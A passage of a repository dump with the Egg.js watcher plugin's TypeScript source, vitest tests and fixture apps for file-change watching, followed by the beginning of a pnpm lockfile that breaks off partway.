    "content": "import type { WatchEventType, Stats } from 'node:fs';\nimport { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\nimport camelcase from 'camelcase';\nimport type { EggAppConfig } from 'egg';\nimport { Base } from 'sdk-base';\n\nimport { BaseEventSource } from './event-sources/base.ts';\nimport { isEqualOrParentPath } from './utils.ts';\n\nconst debug = debuglog('egg/watcher/lib/watcher');\n\nexport interface ChangeInfo extends Record<string, any> {\n  event: WatchEventType;\n  /**\n   * file stat if path exists\n   */\n  stat?: Stats;\n  path: string;\n  isDirectory?: boolean;\n}\n\nexport type WatchListener = (info: ChangeInfo) => void;\n\nexport class Watcher extends Base {\n  #config: EggAppConfig;\n  #eventSource: BaseEventSource;\n\n  constructor(config: EggAppConfig) {\n    super({\n      initMethod: '_init',\n    });\n    this.#config = config;\n  }\n\n  protected async _init(): Promise<void> {\n    const watcherType = this.#config.watcher?.type;\n    debug('init with watcherType %o', watcherType);\n    if (!watcherType) {\n      // If watcher config is not defined, skip initialization\n      debug('watcherType is not defined, skip initialization');\n      return;\n    }\n    let EventSource = this.#config.watcher?.eventSources[watcherType] as unknown as typeof BaseEventSource;\n    if (typeof EventSource === 'string') {\n      EventSource = await importModule(EventSource, {\n        importDefaultOnly: true,\n      });\n    }\n\n    // chokidar => watcherChokidar\n    // custom => watcherCustom\n    //\n    // e.g:\n    // config => { watcher: { type: 'custom' },  watcherCustom: { ... } }\n    const key = camelcase(['watcher', watcherType]);\n    const eventSourceOptions = this.#config[key] ?? {};\n    this.#eventSource = Reflect.construct(EventSource, [eventSourceOptions]);\n    this.#eventSource\n      .on('change', this.#onChange.bind(this))\n      .on('fuzzy-change', this.#onFuzzyChange.bind(this))\n      .on('info', (...args) => this.emit('info', ...args))\n      .on('warn', (...args) => this.emit('warn', ...args))\n      .on('error', (...args) => this.emit('error', ...args));\n    await this.#eventSource.ready();\n  }\n\n  watch(path: string | string[], listener: WatchListener): void {\n    debug('watch %o', path);\n    this.emit('info', '[@eggjs/watcher] Start watching: %j', path);\n    if (!path) return;\n\n    // support array\n    if (Array.isArray(path)) {\n      path.forEach((p) => this.watch(p, listener));\n      return;\n    }\n\n    // one file only watch once\n    if (!this.listenerCount(path)) {\n      this.#eventSource.watch(path);\n    }\n    this.on(path, listener);\n  }\n\n  /*\n  // TODO wait unsubscribe implementation of cluster-client\n  unwatch(path, callback) {\n    if (!path) return;\n\n    // support array\n    if (Array.isArray(path)) {\n      path.forEach(p => this.unwatch(p, callback));\n      return;\n    }\n\n    if (callback) {\n      this.removeListener(path, callback);\n      // stop watching when no listener bound to the path\n      if (this.listenerCount(path) === 0) {\n        this._eventSource.unwatch(path);\n      }\n      return;\n    }\n\n    this.removeAllListeners(path);\n    this._eventSource.unwatch(path);\n  }\n  */\n\n  #onChange(info: ChangeInfo) {\n    debug('onChange %o', info);\n    this.emit('info', '[@eggjs/watcher] Received a change event from eventSource: %j', info);\n    const path = info.path;\n\n    for (const p of this.eventNames()) {\n      if (typeof p !== 'string') continue;\n      // if it is a sub path, emit a `change` event\n      if (isEqualOrParentPath(p, path)) {\n        this.emit(p, info);\n      }\n    }\n  }\n\n  #onFuzzyChange(info: ChangeInfo) {\n    debug('onFuzzyChange %o', info);\n    this.emit('info', '[@eggjs/watcher] Received a fuzzy-change event from eventSource: %j', info);\n    const path = info.path;\n\n    for (const p of this.eventNames()) {\n      if (typeof p !== 'string') continue;\n      // if it is a parent path, emit a `change` event\n      // just the opposite to `_onChange`\n      if (isEqualOrParentPath(path, p)) {\n        this.emit(p, info);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/watcher/src/types.ts",
    "content": "import type { WatcherConfig } from './config/config.default.ts';\nimport type { Watcher } from './lib/watcher.ts';\n\ndeclare module 'egg' {\n  interface EggApplicationCore {\n    watcher: Watcher;\n  }\n\n  interface EggAppConfig {\n    watcher?: WatcherConfig;\n  }\n}\n"
  },
  {
    "path": "plugins/watcher/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should exports work 1`] = `\n[\n  \"BaseEventSource\",\n  \"DefaultEventSource\",\n  \"DevelopmentEventSource\",\n  \"Watcher\",\n  \"default\",\n]\n`;\n"
  },
  {
    "path": "plugins/watcher/test/development.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport { getFilePath } from './utils.js';\n\nconst file_path1 = getFilePath('apps/watcher-development-app/tmp.txt');\nconst file_path2 = getFilePath('apps/watcher-development-app/tmp/tmp.txt');\nconst file_path3 = getFilePath('apps/watcher-development-app/tmp/t1/t2/t3/t4/tmp.txt');\nconst file_path4 = getFilePath('apps/watcher-development-app/tmp/t1/t2/t3/t4/tmp');\nconst file_path1_agent = getFilePath('apps/watcher-development-app/tmp-agent.txt');\n\ndescribe('test/development.test.ts', () => {\n  let app: MockApplication;\n\n  beforeEach(() => {\n    app = mm.app({\n      // plugin: 'watcher',\n      baseDir: getFilePath('apps/watcher-development-app'),\n    });\n    return app.ready();\n  });\n\n  afterEach(() => app.close());\n  afterEach(mm.restore);\n\n  it('should app watcher work', async () => {\n    let count = 0;\n\n    await app.httpRequest().get('/app-watch').expect(200).expect('app watch success');\n\n    await scheduler.wait(100);\n    fs.writeFileSync(file_path1, 'aaa');\n    await scheduler.wait(100);\n\n    let res = await app.httpRequest().get('/app-msg').expect(200);\n\n    let lastCount = count;\n    count = parseInt(res.text);\n    assert(count > lastCount, `count: ${count}, lastCount: ${lastCount}`);\n\n    fs.writeFileSync(file_path2, 'aaa');\n    fs.writeFileSync(file_path3, 'aaa');\n    fs.mkdirSync(file_path4, { recursive: true });\n    fs.rmdirSync(file_path4);\n    fs.rmSync(file_path4, { force: true });\n    await scheduler.wait(100);\n\n    res = await app.httpRequest().get('/app-msg').expect(200);\n\n    lastCount = count;\n    count = parseInt(res.text);\n    assert(count > lastCount, `count: ${count}, lastCount: ${lastCount}`);\n\n    await app\n      .httpRequest()\n      .get('/app-hasDir')\n      .expect(200)\n      .expect({\n        // work on windows\n        hasDir: process.platform === 'win32',\n      });\n\n    /*\n    // TODO wait unsubscribe implementation of cluster-client\n    await request(server)\n      .get('/app-unwatch')\n      .expect(200)\n      .expect('app unwatch success');\n\n    await scheduler.wait(100);\n    fs.writeFileSync(file_path2, 'aaa');\n    fs.writeFileSync(file_path1, 'aaa');\n    await scheduler.wait(100);\n\n    res = await request(server)\n      .get('/app-msg')\n      .expect(200);\n\n    lastCount = count;\n    count = parseInt(res.text);\n    assert(count === lastCount);\n    */\n  });\n\n  // not work on cluster message\n  it.skip('should agent watcher work', async () => {\n    let count = 0;\n\n    await app.httpRequest().get('/agent-watch').expect(200).expect('agent watch success');\n\n    await scheduler.wait(100);\n    fs.writeFileSync(file_path1_agent, 'bbb');\n    await scheduler.wait(100);\n\n    const res = await app.httpRequest().get('/agent-msg').expect(200);\n\n    const lastCount = count;\n    count = parseInt(res.text);\n    assert(count > lastCount, `count: ${count}, lastCount: ${lastCount}`);\n\n    /*\n    // TODO wait unsubscribe implementation of cluster-client\n    await request(app.callback())\n      .get('/agent-unwatch')\n      .expect(200)\n      .expect('agent unwatch success');\n\n    await sleep(100);\n    fs.writeFileSync(file_path1_agent, 'bbb');\n    await sleep(100);\n\n    res = await request(app.callback())\n      .get('/agent-msg')\n      .expect(200);\n\n    lastCount = count;\n    count = parseInt(res.text);\n    assert(count === lastCount);\n    */\n  });\n});\n"
  },
  {
    "path": "plugins/watcher/test/development_cluster.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport { getFilePath } from './utils.js';\n\nconst file_path1 = getFilePath('apps/watcher-development-app/tmp.txt');\nconst file_path2 = getFilePath('apps/watcher-development-app/tmp/tmp.txt');\nconst file_path3 = getFilePath('apps/watcher-development-app/tmp/t1/t2/t3/t4/tmp.txt');\nconst file_path4 = getFilePath('apps/watcher-development-app/tmp/t1/t2/t3/t4/tmp');\nconst file_path1_agent = getFilePath('apps/watcher-development-app/tmp-agent.txt');\n\n// TODO: flaky test on windows\ndescribe.skipIf(process.platform === 'win32')('test/development_cluster.test.ts', () => {\n  let app: MockApplication;\n\n  beforeEach(() => {\n    app = mm.cluster({\n      // plugin: 'watcher',\n      baseDir: getFilePath('apps/watcher-development-app'),\n    });\n    return app.ready();\n  });\n\n  afterEach(() => app.close());\n  afterEach(mm.restore);\n\n  it('should app watcher work', async () => {\n    let count = 0;\n\n    await app.httpRequest().get('/app-watch').expect(200).expect('app watch success');\n\n    await scheduler.wait(100);\n    fs.writeFileSync(file_path1, 'aaa');\n    await scheduler.wait(100);\n\n    let res = await app.httpRequest().get('/app-msg').expect(200);\n\n    let lastCount = count;\n    count = parseInt(res.text);\n    assert(count > lastCount, `count: ${count}, lastCount: ${lastCount}`);\n\n    fs.writeFileSync(file_path2, 'aaa');\n    fs.writeFileSync(file_path3, 'aaa');\n    fs.mkdirSync(file_path4, { recursive: true });\n    fs.rmdirSync(file_path4);\n    fs.rmSync(file_path4, { force: true });\n    await scheduler.wait(100);\n\n    res = await app.httpRequest().get('/app-msg').expect(200);\n\n    lastCount = count;\n    count = parseInt(res.text);\n    assert(count > lastCount, `count: ${count}, lastCount: ${lastCount}`);\n\n    /*\n    // TODO wait unsubscribe implementation of cluster-client\n    await request(server)\n      .get('/app-unwatch')\n      .expect(200)\n      .expect('app unwatch success');\n\n    await scheduler.wait(100);\n    fs.writeFileSync(file_path2, 'aaa');\n    fs.writeFileSync(file_path1, 'aaa');\n    await scheduler.wait(100);\n\n    res = await request(server)\n      .get('/app-msg')\n      .expect(200);\n\n    lastCount = count;\n    count = parseInt(res.text);\n    assert(count === lastCount);\n    */\n  });\n\n  it.skip('should agent watcher work', async () => {\n    let count = 0;\n\n    await app.httpRequest().get('/agent-watch').expect(200).expect('agent watch success');\n\n    await scheduler.wait(100);\n    fs.writeFileSync(file_path1_agent, 'bbb');\n    await scheduler.wait(100);\n\n    const res = await app.httpRequest().get('/agent-msg').expect(200);\n\n    const lastCount = count;\n    count = parseInt(res.text);\n    assert(count > lastCount, `count: ${count}, lastCount: ${lastCount}`);\n\n    /*\n    // TODO wait unsubscribe implementation of cluster-client\n    await request(app.callback())\n      .get('/agent-unwatch')\n      .expect(200)\n      .expect('agent unwatch success');\n\n    await sleep(100);\n    fs.writeFileSync(file_path1_agent, 'bbb');\n    await sleep(100);\n\n    res = await request(app.callback())\n      .get('/agent-msg')\n      .expect(200);\n\n    lastCount = count;\n    count = parseInt(res.text);\n    assert(count === lastCount);\n    */\n  });\n});\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source/config/config.unittest.js",
    "content": "exports.watcher = {\n  type: 'custom',\n};\n\nexports.watcherCustom = {\n  foo: 'bar',\n};\n\nexports.keys = 'testkey';\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source/config/plugin.js",
    "content": "const path = require('path');\n\nexports.watcherCustom = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/egg-watcher-custom'),\n};\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source/package.json",
    "content": "{\n  \"name\": \"watcher-custom-event-source\"\n}\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source/plugins/egg-watcher-custom/config/config.default.js",
    "content": "'use strict';\n\nexports.watcher = {\n  eventSources: {\n    custom: require('../custom'),\n  },\n};\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source/plugins/egg-watcher-custom/custom.js",
    "content": "const { Base } = require('sdk-base');\n\nclass CustomEventSource extends Base {\n  constructor(options) {\n    super();\n    this._options = options;\n    this.ready(true);\n  }\n\n  watch(path) {\n    this.emit('info', 'info12345');\n    this.emit('warn', 'warn12345');\n    this._h = setInterval(() => {\n      this.emit('change', {\n        path,\n        foo: this._options.foo,\n      });\n    }, 1000);\n  }\n\n  unwatch() {\n    if (this._h) {\n      clearInterval(this._h);\n    }\n  }\n}\n\nmodule.exports = CustomEventSource;\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source/plugins/egg-watcher-custom/package.json",
    "content": "{\n  \"name\": \"egg-watcher-custom\",\n  \"eggPlugin\": {\n    \"name\": \"watcherCustom\",\n    \"dep\": [\n      \"watcher\"\n    ]\n  }\n}\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source-fuzzy/config/config.unittest.js",
    "content": "'use strict';\n\nexports.watcher = {\n  type: 'custom',\n};\n\nexports.watcherCustom = {\n  foo: 'bar',\n};\n\nexports.keys = 'testkey';\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source-fuzzy/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.watcherCustom = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/egg-watcher-custom'),\n};\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source-fuzzy/package.json",
    "content": "{\n  \"name\": \"watcher-custom-event-source-fuzzy\"\n}\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source-fuzzy/plugins/egg-watcher-custom/config/config.default.js",
    "content": "exports.watcher = {\n  eventSources: {\n    custom: require('../custom'),\n  },\n};\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source-fuzzy/plugins/egg-watcher-custom/custom.js",
    "content": "const { Base } = require('sdk-base');\n\nclass CustomEventSource extends Base {\n  constructor(options) {\n    super();\n    this._options = options;\n    this.ready(true);\n  }\n\n  watch(path) {\n    this.emit('info', 'info12345');\n    this.emit('warn', 'warn12345');\n    this._h = setInterval(() => {\n      this.emit('fuzzy-change', {\n        path: '/home/admin',\n        foo: this._options.foo,\n      });\n    }, 1000);\n  }\n\n  unwatch() {\n    if (this._h) {\n      clearInterval(this._h);\n    }\n  }\n}\n\nmodule.exports = CustomEventSource;\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-custom-event-source-fuzzy/plugins/egg-watcher-custom/package.json",
    "content": "{\n  \"name\": \"egg-watcher-custom\",\n  \"eggPlugin\": {\n    \"name\": \"watcherCustom\",\n    \"dep\": [\n      \"watcher\"\n    ]\n  }\n}\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/agent.js",
    "content": "const path = require('node:path');\n\nconst file_path1 = path.join(__dirname, 'tmp-agent.txt');\nconst dir_path = path.join(__dirname, 'tmp-agent');\n\nmodule.exports = function (agent) {\n  let count = 0;\n  function listener() {\n    count++;\n  }\n\n  agent.messenger.on('i-want-agent-file-changed-count', function () {\n    agent.messenger.broadcast('agent-file-changed-count', count);\n  });\n\n  agent.messenger.on('agent-unwatch', function () {\n    agent.watcher.unwatch([file_path1, dir_path], listener);\n    agent.messenger.broadcast('agent-unwatch-success', 'agent unwatch success');\n  });\n\n  agent.messenger.on('agent-watch', function () {\n    agent.watcher.watch([file_path1, dir_path], listener);\n    agent.messenger.broadcast('agent-watch-success', 'agent watch success');\n  });\n};\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/app/router.js",
    "content": "const path = require('node:path');\n\nconst file_path1 = path.join(__dirname, '../tmp.txt');\nconst dir_path = path.join(__dirname, '../tmp');\n\nmodule.exports = function (app) {\n  let fileChangeCount = 0;\n  let hasDir = false;\n\n  function callback(info) {\n    console.log('got change %j', info);\n    fileChangeCount++;\n    if (info.isDirectory) {\n      hasDir = true;\n    }\n  }\n\n  app.get('/app-watch', async (ctx) => {\n    app.watcher.watch([file_path1, dir_path], callback);\n    ctx.body = 'app watch success';\n  });\n\n  app.get('/app-unwatch', async (ctx) => {\n    app.watcher.unwatch([file_path1, dir_path], callback);\n    ctx.body = 'app unwatch success';\n  });\n\n  app.get('/app-msg', async (ctx) => {\n    ctx.body = fileChangeCount;\n  });\n\n  app.get('/app-hasDir', async (ctx) => {\n    ctx.body = {\n      hasDir,\n    };\n  });\n\n  app.get('/agent-watch', async (ctx) => {\n    app.messenger.broadcast('agent-watch');\n    ctx.body = await new Promise(function (resolve) {\n      app.messenger.on('agent-watch-success', function (msg) {\n        resolve(msg);\n      });\n    });\n  });\n\n  app.get('/agent-unwatch', async (ctx) => {\n    app.messenger.broadcast('agent-unwatch');\n    ctx.body = await new Promise(function (resolve) {\n      app.messenger.on('agent-unwatch-success', function (msg) {\n        resolve(msg);\n      });\n    });\n  });\n\n  app.get('/agent-msg', async (ctx) => {\n    app.messenger.broadcast('i-want-agent-file-changed-count');\n    ctx.body = await new Promise(function (resolve) {\n      app.messenger.on('agent-file-changed-count', function (msg) {\n        resolve(msg);\n      });\n    });\n  });\n};\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/config/config.unittest.js",
    "content": "exports.env = 'local';\n\nexports.watcher = {\n  type: 'development',\n};\n\nexports.keys = 'testkey';\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/package.json",
    "content": "{\n  \"name\": \"watcher-app\"\n}\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/tmp/t1/t2/t3/t4/tmp.txt",
    "content": "aaa"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/tmp/tmp.txt",
    "content": "aaa"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/tmp-agent/tmp.txt",
    "content": ""
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/tmp-agent.txt",
    "content": "bbb"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-development-app/tmp.txt",
    "content": "aaa"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-type-default/app.js",
    "content": "module.exports = (app) => {\n  // app.watcher.watch('xx', () => {});\n  app.ready(async () => {\n    app.watcher.watch('xx', () => {});\n  });\n};\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-type-default/config/config.unittest.js",
    "content": "exports.watcher = {\n  type: 'default',\n};\n\nexports.keys = 'testkey';\n"
  },
  {
    "path": "plugins/watcher/test/fixtures/apps/watcher-type-default/package.json",
    "content": "{\n  \"name\": \"watcher-type-default\"\n}\n"
  },
  {
    "path": "plugins/watcher/test/index.test.ts",
    "content": "import { test, expect } from 'vitest';\n\nimport * as watcher from '../src/index.ts';\n\ntest('should exports work', async () => {\n  expect(Object.keys(watcher).sort()).toMatchSnapshot();\n});\n"
  },
  {
    "path": "plugins/watcher/test/utils.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\nconst fixtures = path.join(__dirname, 'fixtures');\n\nexport function getFilePath(filename: string): string {\n  return path.join(fixtures, filename);\n}\n"
  },
  {
    "path": "plugins/watcher/test/watcher.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach } from 'vitest';\n\nimport type { ChangeInfo } from '../src/index.ts';\nimport { getFilePath } from './utils.ts';\n\ndescribe('test/watcher.test.ts', () => {\n  let app: MockApplication;\n  afterEach(() => app && app.close());\n\n  it('should warn user if config.watcher.type is default', async () => {\n    app = mm.app({\n      // plugin: 'watcher',\n      baseDir: getFilePath('apps/watcher-type-default'),\n    });\n    await app.ready();\n    const content = fs.readFileSync(\n      getFilePath('apps/watcher-type-default/logs/watcher-type-default/egg-agent.log'),\n      'utf8',\n    );\n    assert.match(content, /defaultEventSource watcher will NOT take effect/);\n  });\n\n  it.skip('should work if config.watcher.type is custom', async () => {\n    app = mm.app({\n      // plugin: 'watcher',\n      baseDir: getFilePath('apps/watcher-custom-event-source'),\n    });\n    await app.ready();\n\n    const p1 = new Promise<void>((resolve) => {\n      app.watcher.watch('xxxx', (info: ChangeInfo) => {\n        assert.equal(info.path, 'xxxx');\n        // ensure use config.custom\n        assert.equal(info.foo, 'bar');\n\n        const content = fs.readFileSync(\n          getFilePath('apps/watcher-custom-event-source/logs/watcher-custom-event-source/egg-agent.log'),\n          'utf8',\n        );\n        assert.match(content, /warn12345/);\n        assert.match(content, /info12345/);\n        resolve();\n      });\n    });\n\n    const p2 = new Promise<void>((resolve) => {\n      app.watcher.watch('xxxx', (info: ChangeInfo) => {\n        // watch again success\n        assert.equal(info.path, 'xxxx');\n        resolve();\n      });\n    });\n    await Promise.all([p1, p2]);\n  });\n\n  it.skip('should work if config.watcher.type is custom(fuzzy)', async () => {\n    app = mm.app({\n      // plugin: 'watcher',\n      baseDir: getFilePath('apps/watcher-custom-event-source-fuzzy'),\n    });\n    await app.ready();\n\n    await new Promise<void>((resolve) => {\n      app.watcher.watch(['/home/admin/xxx'], (info: ChangeInfo) => {\n        assert.equal(info.path, '/home/admin');\n\n        // ensure use config.custom\n        assert.equal(info.foo, 'bar');\n\n        const content = fs.readFileSync(\n          getFilePath('apps/watcher-custom-event-source-fuzzy/logs/watcher-custom-event-source-fuzzy/egg-agent.log'),\n          'utf8',\n        );\n        assert(content.includes('warn12345'));\n        assert(content.includes('info12345'));\n        resolve();\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/watcher/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/watcher/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 20000,\n    hookTimeout: 20000,\n  },\n});\n"
  },
  {
    "path": "pnpm-lock.yaml",
    "content": "lockfileVersion: '9.0'\n\nsettings:\n  autoInstallPeers: true\n  excludeLinksFromLockfile: false\n\ncatalogs:\n  default:\n    '@clack/prompts':\n      specifier: ^0.11.0\n      version: 0.11.0\n    '@eggjs/ip':\n      specifier: ^2.1.0\n      version: 2.1.0\n    '@eggjs/rds':\n      specifier: ^1.5.0\n      version: 1.5.0\n    '@fengmk2/ps-tree':\n      specifier: ^2.0.1\n      version: 2.0.2\n    '@oclif/core':\n      specifier: ^4.2.0\n      version: 4.5.6\n    '@swc-node/register':\n      specifier: ^1.11.1\n      version: 1.11.1\n    '@swc/core':\n      specifier: ^1.15.1\n      version: 1.15.3\n    '@types/accepts':\n      specifier: ^1.3.7\n      version: 1.3.7\n    '@types/body-parser':\n      specifier: ^1.19.5\n      version: 1.19.6\n    '@types/bytes':\n      specifier: ^3.1.5\n      version: 3.1.5\n    '@types/common-tags':\n      specifier: ^1.8.4\n      version: 1.8.4\n    '@types/content-disposition':\n      specifier: ^0.5.8\n      version: 0.5.9\n    '@types/content-type':\n      specifier: ^1.1.8\n      version: 1.1.9\n    '@types/cookie-parser':\n      specifier: ^1.4.8\n      version: 1.4.9\n    '@types/cross-spawn':\n      specifier: ^6.0.6\n      version: 6.0.6\n    '@types/destroy':\n      specifier: ^1.0.3\n      version: 1.0.3\n    '@types/encodeurl':\n      specifier: ^1.0.2\n      version: 1.0.3\n    '@types/escape-html':\n      specifier: ^1.0.4\n      version: 1.0.4\n    '@types/express':\n      specifier: ^5.0.0\n      version: 5.0.3\n    '@types/extend':\n      specifier: ^3.0.4\n      version: 3.0.4\n    '@types/fresh':\n      specifier: ^0.5.2\n      version: 0.5.3\n    '@types/fs-readdir-recursive':\n      specifier: ^1.1.3\n      version: 1.1.3\n    '@types/http-errors':\n      specifier: ^2.0.4\n      version: 2.0.5\n    '@types/ini':\n      specifier: ^4.1.1\n      version: 4.1.1\n    '@types/js-beautify':\n      specifier: ^1.14.3\n      version: 1.14.3\n    '@types/js-yaml':\n      specifier: ^4.0.9\n      version: 4.0.9\n    '@types/koa-bodyparser':\n      specifier: ^4.3.12\n      version: 4.3.12\n    '@types/koa-compose':\n      specifier: ^3.2.8\n      version: 3.2.8\n    '@types/koa-range':\n      specifier: ^0.3.5\n      version: 0.3.5\n    '@types/lodash':\n      specifier: ^4.17.20\n      version: 4.17.20\n    '@types/lodash.snakecase':\n      specifier: ^4.1.9\n      version: 4.1.9\n    '@types/methods':\n      specifier: ^1.1.4\n      version: 1.1.4\n    '@types/mime-types':\n      specifier: ^3.0.0\n      version: 3.0.1\n    '@types/mocha':\n      specifier: ^10.0.10\n      version: 10.0.10\n    '@types/mustache':\n      specifier: ^4.2.5\n      version: 4.2.6\n    '@types/node':\n      specifier: ^24.10.2\n      version: 24.10.2\n    '@types/nunjucks':\n      specifier: ^3.2.6\n      version: 3.2.6\n    '@types/on-finished':\n      specifier: ^2.3.4\n      version: 2.3.5\n    '@types/parseurl':\n      specifier: ^1.3.3\n      version: 1.3.3\n    '@types/pluralize':\n      specifier: ^0.0.33\n      version: 0.0.33\n    '@types/safe-timers':\n      specifier: ^1.1.2\n      version: 1.1.2\n    '@types/sqlstring':\n      specifier: ^2.3.2\n      version: 2.3.2\n    '@types/stack-trace':\n      specifier: ^0.0.33\n      version: 0.0.33\n    '@types/statuses':\n      specifier: ^2.0.5\n      version: 2.0.6\n    '@types/superagent':\n      specifier: ^8.1.9\n      version: 8.1.9\n    '@types/type-is':\n      specifier: ^1.6.6\n      version: 1.6.7\n    '@types/urijs':\n      specifier: ^1.19.25\n      version: 1.19.25\n    '@types/vary':\n      specifier: ^1.1.3\n      version: 1.1.3\n    '@typescript/native-preview':\n      specifier: 7.0.0-dev.20260117.1\n      version: 7.0.0-dev.20260117.1\n    '@vitest/coverage-v8':\n      specifier: ^4.0.15\n      version: 4.0.15\n    '@vitest/ui':\n      specifier: ^4.0.15\n      version: 4.0.15\n    accepts:\n      specifier: ^1.3.8\n      version: 1.3.8\n    address:\n      specifier: '2'\n      version: 2.0.3\n    ajv:\n      specifier: ^8.8.2\n      version: 8.17.1\n    ajv-formats:\n      specifier: ^2.1.1\n      version: 2.1.1\n    ajv-keywords:\n      specifier: ^5.1.0\n      version: 5.1.0\n    assert-file:\n      specifier: '1'\n      version: 1.0.0\n    await-event:\n      specifier: '2'\n      version: 2.1.0\n    await-first:\n      specifier: ^1.0.0\n      version: 1.0.0\n    beautify-benchmark:\n      specifier: ^0.2.4\n      version: 0.2.4\n    benchmark:\n      specifier: ^2.1.4\n      version: 2.1.4\n    body-parser:\n      specifier: ^2.0.0\n      version: 2.2.2\n    bytes:\n      specifier: ^3.1.2\n      version: 3.1.2\n    c8:\n      specifier: ^10.1.3\n      version: 10.1.3\n    cache-content-type:\n      specifier: ^2.0.0\n      version: 2.1.0\n    camelcase:\n      specifier: ^9.0.0\n      version: 9.0.0\n    cfork:\n      specifier: ^2.0.0\n      version: 2.0.0\n    chalk:\n      specifier: ^5.4.1\n      version: 5.6.2\n    cheerio:\n      specifier: ^1.0.0\n      version: 1.1.2\n    ci-parallel-vars:\n      specifier: ^1.0.1\n      version: 1.0.1\n    circular-json-for-egg:\n      specifier: ^1.0.0\n      version: 1.0.0\n    cluster-client:\n      specifier: ^3.7.0\n      version: 3.7.0\n    cluster-reload:\n      specifier: ^2.0.0\n      version: 2.0.0\n    co-busboy:\n      specifier: ^2.0.1\n      version: 2.0.2\n    coffee:\n      specifier: '5'\n      version: 5.5.1\n    common-tags:\n      specifier: ^1.8.2\n      version: 1.8.2\n    content-disposition:\n      specifier: ~1.0.0\n      version: 1.0.1\n    content-type:\n      specifier: ^1.0.5\n      version: 1.0.5\n    cookie:\n      specifier: ^1.0.2\n      version: 1.0.2\n    cookie-parser:\n      specifier: ^1.4.6\n      version: 1.4.7\n    cookies:\n      specifier: ^0.9.1\n      version: 0.9.1\n    cpy:\n      specifier: ^12.0.0\n      version: 12.0.1\n    cron-parser:\n      specifier: ^4.9.0\n      version: 4.9.0\n    cross-spawn:\n      specifier: ^7.0.6\n      version: 7.0.6\n    csrf:\n      specifier: ^3.1.0\n      version: 3.1.0\n    dayjs:\n      specifier: ^1.11.13\n      version: 1.11.18\n    debounce:\n      specifier: ^3.0.0\n      version: 3.0.0\n    destroy:\n      specifier: ^1.0.4\n      version: 1.2.0\n    detect-port:\n      specifier: ^2.1.0\n      version: 2.1.0\n    egg-errors:\n      specifier: ^2.3.0\n      version: 2.3.2\n    egg-logger:\n      specifier: ^3.5.0\n      version: 3.6.1\n    egg-plugin-puml:\n      specifier: ^2.4.0\n      version: 2.4.0\n    egg-view-nunjucks:\n      specifier: ^2.3.0\n      version: 2.3.0\n    encodeurl:\n      specifier: ^2.0.0\n      version: 2.0.0\n    esbuild:\n      specifier: ^0.27.0\n      version: 0.27.0\n    esbuild-register:\n      specifier: ^3.6.0\n      version: 3.6.0\n    escape-html:\n      specifier: ^1.0.3\n      version: 1.0.3\n    execa:\n      specifier: ^9.6.0\n      version: 9.6.0\n    express:\n      specifier: ^4.21.2\n      version: 4.21.2\n    extend:\n      specifier: ^3.0.2\n      version: 3.0.2\n    extend2:\n      specifier: ^4.0.0\n      version: 4.0.0\n    formstream:\n      specifier: ^1.5.1\n      version: 1.5.2\n    fresh:\n      specifier: ~0.5.2\n      version: 0.5.2\n    gals:\n      specifier: '1'\n      version: 1.0.2\n    get-ready:\n      specifier: ^3.1.0\n      version: 3.4.0\n    glob:\n      specifier: ^11.0.0\n      version: 11.0.3\n    globby:\n      specifier: ^11.0.2\n      version: 11.1.0\n    graceful:\n      specifier: ^2.0.0\n      version: 2.0.0\n    graceful-process:\n      specifier: ^2.0.0\n      version: 2.2.0\n    http-errors:\n      specifier: ^2.0.0\n      version: 